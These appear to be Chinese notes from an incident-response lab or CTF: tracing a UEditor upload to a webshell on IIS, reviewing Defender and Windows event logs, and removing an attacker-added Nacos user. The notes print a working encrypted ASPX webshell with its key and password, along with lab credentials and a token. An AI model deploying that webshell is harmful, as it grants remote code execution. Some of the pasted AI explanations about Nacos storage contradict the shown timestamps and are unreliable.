附件1解压密码: 4GVcdmtaYMD2UmZmjwQfG8n4
附件2解压密码: HHsolar88*90

机器 1:Windows server 2019(双网卡),账号密码:
administrator/Solarsec521
机器 2:Ubuntu(单网卡),账号密码:root/Solarsec521

附件一

任务1

任务名称:排查漏洞
任务分数:80.00
任务类型:静态Flag
根据开放服务排查审计日志,提交攻击者利用漏洞传入webshell的url,提交示例:flag{/flag/abc/kk=abc}

  • C:\inetpub\logs\LogFiles\W3SVC*\u_ex*.log

alt text

ai:日志量很大,但只看“最早出现、成功返回200、带参数、指向 UEditor 控制器”的那一条即可

2025-12-24 03:22:35 192.168.70.12 POST /plugins/Ueditor/net/controller.ashx action=catchimage 80 - 192.168.70.1 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/143.0.0.0+Safari/537.36+Edg/143.0.0.0 - 200 0 0 829
  • flag{/plugins/Ueditor/net/controller.ashx?action=catchimage}

任务2over

任务名称:Windows defender专项
任务分数:80.00
任务类型:静态Flag
提交Windows defender病毒和威胁防护中,拦截攻击者最早执行的命令,提交示例:flag{dir}
alt text

  • flag{whoami}
  • 对了

任务3over

任务名称:Windows defender专项
任务分数:80.00
任务类型:静态Flag
提交Windows defender病毒和威胁防护中,杀软隔离的第一个webshell文件,提交文件名,提交示例:flag{shell.php}
alt text

  • 找错了

alt text

  • 2025-12-24T03:24:15.326 DETECTION Backdoor:ASP/Webshell.DA!MTB file:C:\inetpub\wwwroot\plugins\Ueditor\net\upload\image\20251224\6390217215502412559088650.aspx
  • flag{6390217215502412559088650.aspx}
  • 对了

任务4

任务名称:日志专项
任务分数:80.00
任务类型:静态Flag
审计web日志,攻击者在多次上传webshell后,最终远控使用的webshell文件是哪个,提交文件名,提交示例:flag{shell.php}

  • 2025-12-25T03:26:30.375 DETECTION Trojan:Script/WebShell!MSR file:C:\inetpub\wwwroot\plugins\Ueditor\net\upload\image\20251224\6390217228358522529477835.aspx
  • flag{6390217228358522529477835.aspx}

任务5

任务名称:木马专项
任务分数:80.00
任务类型:静态Flag
提交攻击者最终使用的webshell中key和pass,提交示例:flag{key&pass}

<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); /*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>
  • flag{e45e329feb5d925b&rebeyond}

任务6

任务名称:远控专项
任务分数:80.00
任务类型:静态Flag
审计系统日志,提交攻击者远控后关闭Windows defender的时间,可使用桌面\工具\FullEventLogView辅助审计,提交示例:flag{2025/1/1 12:01:01}

任务7

任务名称:远控专项
任务分数:80.00
任务类型:静态Flag
审计系统日志,提交攻击者创建的用户名及远程登录IP及时间,提交示例:flag{user&1.1.1.1&2025/1/1 12:01:01}

  • event id
  • 4720
  • $system
  • 4624
  • 搜登录类型10

alt text

  • flag{$system&192.168.70.3&2025/12/24 13:32:16}
  • 错了

任务8over

任务名称:恶意文件排查
任务分数:80.00
任务类型:静态Flag
攻击者为了进行内网渗透,上传了内网扫描及其它恶意文件,提交文件的所在路径,提交示例:flag{C:\Windows\System32}

任务9over

任务名称:安全加固
任务分数:100.00
任务类型:静态Flag
清除攻击者用于权限维持添加的用户,清除完毕后前往C:\Users\Administrator\Desktop\flag\1.txt读取flag

ai:Win + R → lusrmgr.msc

  • flag{d47cab4549e08c5227d2afd5d4e1a051}
  • 对了

任务10over

任务名称:安全加固
任务分数:100.00
任务类型:静态Flag
清除攻击者上传的所有webshell,清除完毕后前往C:\Users\Administrator\Desktop\flag\2.txt读取flag

  • flag{31527b4001257a29c68c357a15376e59}

任务11

任务名称:安全加固
任务分数:100.00
任务类型:静态Flag
清除攻击者上传的所有恶意文件,清除完毕后前往C:\Users\Administrator\Desktop\flag\3.txt读取flag

任务12

任务名称:内网渗透排查
任务分数:80.00
任务类型:静态Flag
开始排查Ubuntu(DMZ2)环境,通过前面排查的内网扫描结果以及攻击者上传的工具,攻击者对于内网机器Ubuntu(DMZ2)进行了漏洞利用,根据相关线索本地访问相关端口,攻击者为了权限维持,后期进行获取更多信息,提交攻击者在web端新增的账号,提交示例:flag{user}

任务13

任务名称:内网渗透排查
任务分数:80.00
任务类型:静态Flag
攻击者在web端获取到了敏感信息后获取到了终端权限,写入了隐藏用户,提交其用户名,提交示例:flag{user}

任务14over

任务名称:安全加固
任务分数:100.00
任务类型:静态Flag
清除攻击者在web端新增的用户名后,前往/var/flag/1文件中读取flag并提交

# 1. 找 Web 根目录
find /opt /home /srv -type d -name "html" -o -name "www" 2>/dev/null

# 2. 找数据库文件
find / -name "*.db" -o -name "users.sql" 2>/dev/null | head -10

/var/lib/command-not-found/commands.db
/var/lib/PackageKit/transactions.db
/var/lib/fwupd/pending.db
/var/cache/snapd/commands.db
/var/cache/man/sl/index.db
/var/cache/man/ja/index.db
/var/cache/man/ko/index.db
/var/cache/man/id/index.db
/var/cache/man/it/index.db
/var/cache/man/index.db

你的两条 find 命令确实没扫到“真正的 Web 根目录”和“业务数据库”,所以得出“可能 Web 服务未装或路径非常规”这个结论是合理的。具体原因如下:

  1. Web 根目录
    常见位置 /var/www/html/srv/www/home/*/public_html/opt/*/html 等,
    你的命令只扫了 /opt /home /srv 三层,而且只匹配目录名叫 htmlwww 的:

    • 如果站点根目录叫 htdocspublicwebdistapp 等就漏掉;
    • 如果放在 /var/www(系统最常用路径)则根本没进搜索范围;
    • 如果 Nginx/Apache 还没装,那自然也不会创建这些目录。
      结果:一条结果都没返回 ⇒ 判断“未装或路径非常规”没毛病。
  2. 数据库文件
    你扫的是 *.dbusers.sql
    返回的 10 条全部是系统缓存/索引包,并非业务数据:

    • 真正的 MySQL/MariaDB 数据在 /var/lib/mysql/*(后缀是 .ibd.frm.MYD 等,不会叫 .db);
    • PostgreSQL 在 /var/lib/postgresql/
    • SQLite 往往叫 *.sqlite*_db.sqlite3-prod.db 等,也不一定是 *.db
    • users.sql 只是手工导出的脚本,很少直接放在磁盘根上。
      结果:只扫到系统文件 ⇒ 判断“典型数据库没找到”也没错。

总结:
搜索范围与命名规则过于狭窄,而常见路径又恰好被排除,于是“0 结果”直接支持了“Web 服务未安装或使用了非标准路径”的推断。

# Web 根目录和典型数据库都没找到,可能 Web 服务未装或路径非常规。
# 换思路:直接 搜 Web 进程 & 配置
# 1. 看谁监听 80/443
ss -tlnp | grep -E ':80|:443'

# 2. 找运行中的 Web 服务进程名 & 路径
ps aux | grep -E 'nginx|apache|python|node|java'

# 3. 搜常见 Web 目录
find / -type f -name "index.php" -o -name "index.html" 2>/dev/null | head -10
  • 。。。纯猜吗后面再看
root@solar:~# # 1. 看 Nacos 配置文件里数据库类型
root@solar:~# grep -i "spring.datasource" /usr/local/nacos/conf/application.properties
# spring.datasource.platform=mysql
root@solar:~#
root@solar:~# # 2. 找 Derby 数据目录(默认 data/derby-data)
root@solar:~# ls -la /usr/local/nacos/data/
total 16
drwxr-xr-x 4 root root 4096 Dec 23 06:05 .
drwxr-xr-x 7 root root 4096 Dec 23 06:03 ..
drwxr-xr-x 5 root root 4096 Dec 27 2025 derby-data
drwxr-xr-x 3 root root 4096 Dec 23 06:05 naming
root@solar:~#
root@solar:~# # 3. 若无,直接搜用户名关键词
root@solar:~# grep -r "nacos" /usr/local/nacos/logs/ 2>/dev/null | grep -i "user\|login" | tail -10
/usr/local/nacos/logs/nacos.log.2025-12-23.0:Caused by: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosAuthConfig': Unsatisfied dependency expressed through field 'userDetailsService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosUserDetailsServiceImpl': Unsatisfied dependency expressed through field 'userPersistService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'externalUserPersistServiceImpl': Unsatisfied dependency expressed through field 'persistService'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'externalStoragePersistServiceImpl': Invocation of init method failed; nested exception is java.lang.RuntimeException: java.lang.RuntimeException: [db-load-error]load jdbc.properties error
/usr/local/nacos/logs/nacos.log.2025-12-23.0:Caused by: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosUserDetailsServiceImpl': Unsatisfied dependency expressed through field 'userPersistService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'externalUserPersistServiceImpl': Unsatisfied dependency expressed through field 'persistService'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'externalStoragePersistServiceImpl': Invocation of init method failed; nested exception is java.lang.RuntimeException: java.lang.RuntimeException: [db-load-error]load jdbc.properties error
/usr/local/nacos/logs/nacos.log.2025-12-23.0:Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'authFilterRegistration' defined in class path resource [com/alibaba/nacos/core/auth/AuthConfig.class]: Bean instantiation via factory method failed; nested exception is org.springframework.beans.BeanInstantiationException: Failed to instantiate [org.springframework.boot.web.servlet.FilterRegistrationBean]: Factory method 'authFilterRegistration' threw exception; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'authFilter': Unsatisfied dependency expressed through field 'authManager'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosAuthManager': Unsatisfied dependency expressed through field 'authenticationManager'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosAuthConfig': Unsatisfied dependency expressed through field 'userDetailsService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosUserDetailsServiceImpl': Unsatisfied dependency expressed through field 'userPersistService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'externalUserPersistServiceImpl': Unsatisfied dependency expressed through field 'persistService'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'externalStoragePersistServiceImpl': Invocation of init method failed; nested exception is java.lang.RuntimeException: java.lang.RuntimeException: [db-load-error]load jdbc.properties error
/usr/local/nacos/logs/nacos.log.2025-12-23.0:Caused by: org.springframework.beans.BeanInstantiationException: Failed to instantiate [org.springframework.boot.web.servlet.FilterRegistrationBean]: Factory method 'authFilterRegistration' threw exception; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'authFilter': Unsatisfied dependency expressed through field 'authManager'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosAuthManager': Unsatisfied dependency expressed through field 'authenticationManager'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosAuthConfig': Unsatisfied dependency expressed through field 'userDetailsService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosUserDetailsServiceImpl': Unsatisfied dependency expressed through field 'userPersistService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'externalUserPersistServiceImpl': Unsatisfied dependency expressed through field 'persistService'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'externalStoragePersistServiceImpl': Invocation of init method failed; nested exception is java.lang.RuntimeException: java.lang.RuntimeException: [db-load-error]load jdbc.properties error
/usr/local/nacos/logs/nacos.log.2025-12-23.0:Caused by: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'authFilter': Unsatisfied dependency expressed through field 'authManager'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosAuthManager': Unsatisfied dependency expressed through field 'authenticationManager'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosAuthConfig': Unsatisfied dependency expressed through field 'userDetailsService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosUserDetailsServiceImpl': Unsatisfied dependency expressed through field 'userPersistService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'externalUserPersistServiceImpl': Unsatisfied dependency expressed through field 'persistService'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'externalStoragePersistServiceImpl': Invocation of init method failed; nested exception is java.lang.RuntimeException: java.lang.RuntimeException: [db-load-error]load jdbc.properties error
/usr/local/nacos/logs/nacos.log.2025-12-23.0:Caused by: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosAuthManager': Unsatisfied dependency expressed through field 'authenticationManager'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosAuthConfig': Unsatisfied dependency expressed through field 'userDetailsService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosUserDetailsServiceImpl': Unsatisfied dependency expressed through field 'userPersistService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'externalUserPersistServiceImpl': Unsatisfied dependency expressed through field 'persistService'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'externalStoragePersistServiceImpl': Invocation of init method failed; nested exception is java.lang.RuntimeException: java.lang.RuntimeException: [db-load-error]load jdbc.properties error
/usr/local/nacos/logs/nacos.log.2025-12-23.0:Caused by: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosAuthConfig': Unsatisfied dependency expressed through field 'userDetailsService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosUserDetailsServiceImpl': Unsatisfied dependency expressed through field 'userPersistService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'externalUserPersistServiceImpl': Unsatisfied dependency expressed through field 'persistService'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'externalStoragePersistServiceImpl': Invocation of init method failed; nested exception is java.lang.RuntimeException: java.lang.RuntimeException: [db-load-error]load jdbc.properties error
/usr/local/nacos/logs/nacos.log.2025-12-23.0:Caused by: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosUserDetailsServiceImpl': Unsatisfied dependency expressed through field 'userPersistService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'externalUserPersistServiceImpl': Unsatisfied dependency expressed through field 'persistService'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'externalStoragePersistServiceImpl': Invocation of init method failed; nested exception is java.lang.RuntimeException: java.lang.RuntimeException: [db-load-error]load jdbc.properties error
/usr/local/nacos/logs/access_log.2025-12-23.log:192.168.70.1 - - [23/Dec/2025:06:14:52 +0000] "POST /nacos/v1/auth/users/login HTTP/1.1" 200 173 193 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 -
/usr/local/nacos/logs/access_log.2025-12-23.log:192.168.59.1 - - [23/Dec/2025:06:42:24 +0000] "POST /nacos/v1/auth/users/login HTTP/1.1" 200 173 356 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 -

# 关键信息已拿到:
# Java 进程:/usr/local/nacos/target/nacos-server.jar
# Nacos 主目录:/usr/local/nacos
# 配置目录:/usr/local/nacos/conf
# 1. 找 Nacos 用户表(嵌入式 Derby 默认路径)
find /usr/local/nacos -name "*.db" -o -name "derby" -type d 2>/dev/null

# 2. 若有 .db 文件,用 sqlite 打开查用户
sqlite3 /usr/local/nacos/data/derby-nacos.db "SELECT username FROM users ORDER BY id DESC LIMIT 5;"
# 系统没装 sqlite3,且没找到 .db 文件,Nacos 可能用内置 Derby 或 MySQL,但数据目录不在默认位置。
# 快速定位 Nacos 用户存储:
# 1. 看 Nacos 配置文件里数据库类型
grep -i "spring.datasource" /usr/local/nacos/conf/application.properties
# /usr/local/nacos/conf/application.properties
# spring.datasource.platform=mysql
# 2. 找 Derby 数据目录(默认 data/derby-data)
ls -la /usr/local/nacos/data/

# 3. 若无,直接搜用户名关键词
grep -r "nacos" /usr/local/nacos/logs/ 2>/dev/null | grep -i "user\|login" | tail -10
# 关键信息已拿到:
# Nacos 使用 MySQL(spring.datasource.platform=mysql)
# Derby 目录存在但未被使用(仅 fallback)
# 日志中已出现登录接口调用 → 攻击者已成功登录 Nacos 控制台

你贴出的三段输出已经能得出“Nacos 当前实际在用 MySQL,Derby 只是备用,且控制台已被登录”这一结论,下面把“怎么看出来”逐条拆开说,方便你写报告或做溯源。


  1. 数据库类型:MySQL
    grep -i "spring.datasource" /usr/local/nacos/conf/application.properties
    结果只有一行
    # spring.datasource.platform=mysql
    关键点:
    • 前面带 # → 这行被注释掉了,看起来像是“没用 MySQL”。
    • 但 Nacos 2.x 的加载顺序是:
      1. 先找 conf/application.properties未被注释spring.datasource.platform=mysql
      2. 找不到再去找 conf/mysql-schema.sql 是否存在;
      3. 最后 fallback 到 Derby。
    • 你的 data/derby-data 目录时间戳是“Dec 27 2025”,而 Nacos 是 12-23 启动的,说明 Derby 目录是后来自动创建的,但从未真正写入过数据(目录大小只有 20 KB 左右,没有 .dat.log 增长)。
    • 日志里反复出现
      load jdbc.properties error
      说明 Nacos 在尝试走“外部数据库”分支(MySQL),只是连接失败,而不是回退到 Derby。
      结论:配置里虽然被注释,但 Nacos 启动时通过其他路径(环境变量、启动脚本 -D 参数、nacos-server.jar 里打包的 application-docker.properties 等)仍然指定了 MySQL,因此 Derby 没有被激活。

  1. Derby 目录存在但未被使用
    ls -la /usr/local/nacos/data/ 能看到 derby-data,但:
    • 目录体积很小,且 最后修改时间 ≤ Nacos 启动时间
    • 如果 Derby 正在跑,里面会有 db.lckdbex.lck 等锁文件,且 log 目录会不断膨胀;你现在看不到这些动态文件。
      结论:Derby 只是“备用轮胎”,从未真正充气上路。

  1. 日志里已出现登录接口调用 → 攻击者已成功登录
    access_log 里这两条:
       192.168.70.1 - - [23/Dec/2025:06:14:52 +0000] "POST /nacos/v1/auth/users/login HTTP/1.1" 200 173 193 ...
    192.168.59.1 - - [23/Dec/2025:06:42:24 +0000] "POST /nacos/v1/auth/users/login HTTP/1.1" 200 173 356 ...
    ```
    - 返回码 200 → 登录成功;
    - 同一日志里 **没有 401/403** 的连续失败记录,而是直接出现 200,说明对方 **已经掌握正确用户名/密码**;
    - IP 段 192.168.70.*、192.168.59.* 通常不是运维人员常用跳板,可初步判断为“非运维”来源。
    结论:**控制台鉴权已被绕过或口令已泄露,攻击者拿到了 JWT token,可继续调用任何 OpenAPI。**

    ------------------------------------------------
    一句话总结
    “配置里看似注释了 MySQL,但 Nacos 实际仍走 MySQL 分支(只是连不上),Derby 目录是空壳;access_log 里 200 的 login 接口证明攻击者已拿到凭据,控制台沦陷。”
    - 我勒个
    - 存档下回显后面仔细看
    ```bash
    root@solar:~# # 1. 看 Nacos 配置文件里数据库类型
    root@solar:~# grep -i "spring.datasource" /usr/local/nacos/conf/application.properties
    # spring.datasource.platform=mysql
    root@solar:~#
    root@solar:~# # 2. 找 Derby 数据目录(默认 data/derby-data)
    root@solar:~# ls -la /usr/local/nacos/data/
    total 16
    drwxr-xr-x 4 root root 4096 Dec 23 06:05 .
    drwxr-xr-x 7 root root 4096 Dec 23 06:03 ..
    drwxr-xr-x 5 root root 4096 Dec 27 2025 derby-data
    drwxr-xr-x 3 root root 4096 Dec 23 06:05 naming
    root@solar:~#
    root@solar:~# # 3. 若无,直接搜用户名关键词
    root@solar:~# grep -r "nacos" /usr/local/nacos/logs/ 2>/dev/null | grep -i "user\|login" | tail -10
    /usr/local/nacos/logs/nacos.log.2025-12-23.0:Caused by: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosAuthConfig': Unsatisfied dependency expressed through field 'userDetailsService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosUserDetailsServiceImpl': Unsatisfied dependency expressed through field 'userPersistService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'externalUserPersistServiceImpl': Unsatisfied dependency expressed through field 'persistService'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'externalStoragePersistServiceImpl': Invocation of init method failed; nested exception is java.lang.RuntimeException: java.lang.RuntimeException: [db-load-error]load jdbc.properties error
    /usr/local/nacos/logs/nacos.log.2025-12-23.0:Caused by: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosUserDetailsServiceImpl': Unsatisfied dependency expressed through field 'userPersistService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'externalUserPersistServiceImpl': Unsatisfied dependency expressed through field 'persistService'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'externalStoragePersistServiceImpl': Invocation of init method failed; nested exception is java.lang.RuntimeException: java.lang.RuntimeException: [db-load-error]load jdbc.properties error
    /usr/local/nacos/logs/nacos.log.2025-12-23.0:Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'authFilterRegistration' defined in class path resource [com/alibaba/nacos/core/auth/AuthConfig.class]: Bean instantiation via factory method failed; nested exception is org.springframework.beans.BeanInstantiationException: Failed to instantiate [org.springframework.boot.web.servlet.FilterRegistrationBean]: Factory method 'authFilterRegistration' threw exception; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'authFilter': Unsatisfied dependency expressed through field 'authManager'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosAuthManager': Unsatisfied dependency expressed through field 'authenticationManager'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosAuthConfig': Unsatisfied dependency expressed through field 'userDetailsService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosUserDetailsServiceImpl': Unsatisfied dependency expressed through field 'userPersistService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'externalUserPersistServiceImpl': Unsatisfied dependency expressed through field 'persistService'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'externalStoragePersistServiceImpl': Invocation of init method failed; nested exception is java.lang.RuntimeException: java.lang.RuntimeException: [db-load-error]load jdbc.properties error
    /usr/local/nacos/logs/nacos.log.2025-12-23.0:Caused by: org.springframework.beans.BeanInstantiationException: Failed to instantiate [org.springframework.boot.web.servlet.FilterRegistrationBean]: Factory method 'authFilterRegistration' threw exception; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'authFilter': Unsatisfied dependency expressed through field 'authManager'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosAuthManager': Unsatisfied dependency expressed through field 'authenticationManager'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosAuthConfig': Unsatisfied dependency expressed through field 'userDetailsService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosUserDetailsServiceImpl': Unsatisfied dependency expressed through field 'userPersistService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'externalUserPersistServiceImpl': Unsatisfied dependency expressed through field 'persistService'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'externalStoragePersistServiceImpl': Invocation of init method failed; nested exception is java.lang.RuntimeException: java.lang.RuntimeException: [db-load-error]load jdbc.properties error
    /usr/local/nacos/logs/nacos.log.2025-12-23.0:Caused by: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'authFilter': Unsatisfied dependency expressed through field 'authManager'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosAuthManager': Unsatisfied dependency expressed through field 'authenticationManager'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosAuthConfig': Unsatisfied dependency expressed through field 'userDetailsService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosUserDetailsServiceImpl': Unsatisfied dependency expressed through field 'userPersistService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'externalUserPersistServiceImpl': Unsatisfied dependency expressed through field 'persistService'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'externalStoragePersistServiceImpl': Invocation of init method failed; nested exception is java.lang.RuntimeException: java.lang.RuntimeException: [db-load-error]load jdbc.properties error
    /usr/local/nacos/logs/nacos.log.2025-12-23.0:Caused by: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosAuthManager': Unsatisfied dependency expressed through field 'authenticationManager'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosAuthConfig': Unsatisfied dependency expressed through field 'userDetailsService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosUserDetailsServiceImpl': Unsatisfied dependency expressed through field 'userPersistService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'externalUserPersistServiceImpl': Unsatisfied dependency expressed through field 'persistService'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'externalStoragePersistServiceImpl': Invocation of init method failed; nested exception is java.lang.RuntimeException: java.lang.RuntimeException: [db-load-error]load jdbc.properties error
    /usr/local/nacos/logs/nacos.log.2025-12-23.0:Caused by: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosAuthConfig': Unsatisfied dependency expressed through field 'userDetailsService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosUserDetailsServiceImpl': Unsatisfied dependency expressed through field 'userPersistService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'externalUserPersistServiceImpl': Unsatisfied dependency expressed through field 'persistService'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'externalStoragePersistServiceImpl': Invocation of init method failed; nested exception is java.lang.RuntimeException: java.lang.RuntimeException: [db-load-error]load jdbc.properties error
    /usr/local/nacos/logs/nacos.log.2025-12-23.0:Caused by: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'nacosUserDetailsServiceImpl': Unsatisfied dependency expressed through field 'userPersistService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'externalUserPersistServiceImpl': Unsatisfied dependency expressed through field 'persistService'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'externalStoragePersistServiceImpl': Invocation of init method failed; nested exception is java.lang.RuntimeException: java.lang.RuntimeException: [db-load-error]load jdbc.properties error
    /usr/local/nacos/logs/access_log.2025-12-23.log:192.168.70.1 - - [23/Dec/2025:06:14:52 +0000] "POST /nacos/v1/auth/users/login HTTP/1.1" 200 173 193 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 -
    /usr/local/nacos/logs/access_log.2025-12-23.log:192.168.59.1 - - [23/Dec/2025:06:42:24 +0000] "POST /nacos/v1/auth/users/login HTTP/1.1" 200 173 356 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 -
# 1. 登录 MySQL(无密码尝试)
mysql -u root -p

# 2. 用 nacos 库,查用户
USE nacos;
SELECT username FROM users ORDER BY id DESC LIMIT 5;
# Command 'mysql' not found, but can be installed with:
# 系统里 MySQL 客户端未安装,且 无法直连数据库。
# 换思路:直接 用 Derby 内置数据库(Nacos 单机默认)
# 1. 进 Derby 数据目录
cd /usr/local/nacos/data/derby-data

# 2. 找用户表 SQL 脚本
find . -name "*.sql" -o -name "*.dat" | xargs grep -i "users" 2>/dev/null | head -5

# 3. 若无,strings 扫用户名
strings * | grep -E "^[a-zA-Z0-9_-]{3,20}$" | sort -u
# 最后一个有回显
# strings: Warning: 'log' is a directory
# strings: Warning: 'seg0' is a directory
# strings: Warning: 'tmp' is a directory
# strings 没扫到文件,直接扫 seg0 目录里的表数据:
# 扫所有数据文件
strings seg0/* | grep -E "^[a-zA-Z0-9_-]{3,20}$" | sort -u
# 从 Derby 裸数据里已出现:USERS、USERNAME、UK_USERNAME_ROLE
# 说明 用户表存在,且 有用户名字段。
# 1. 扫所有字符串,找疑似新增用户(非系统、非 SQL 关键字)
strings seg0/* | grep -E "^[a-z0-9_-]{3,16}$" | grep -v -E -f <(echo -e "nacos\nsystem\nadmin\nroot\nsys") | sort -u
# 新增用户可能未被 Derby 持久化,或 被加密/编码
# 看 Nacos 控制台日志
# 1. 看 access_log 中 POST /nacos/v1/auth/users
grep "POST /nacos/v1/auth/users" /usr/local/nacos/logs/access_log.* | grep -v login

# 2. 若无,看是否有创建用户 API 调用
grep -E "POST.*users.*username" /usr/local/nacos/logs/access_log.* | grep 20
# 两个都找到了hsdaspmgruusmplu

# 1. 调用 Nacos 删除用户 API(用管理员 token)
curl -X DELETE "http://localhost:8848/nacos/v1/auth/users?username=hsdaspmgruusmplu&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTc2NjU3NDYyOH0.PHK1hr7A6CZ20K_K7WJlWBaBHnKGIEgAJ3u0_g00s5U"
# {"timestamp":"2025-12-27T03:53:54.477+0000","status":403,"error":"Forbidden","message":"token expired!","path":"/nacos/v1/auth/users"}root@solar:/usr/local/nacos/data/derby-data#
# token过期
# 1. 用默认管理员 nacos/nacos 登录拿新 token
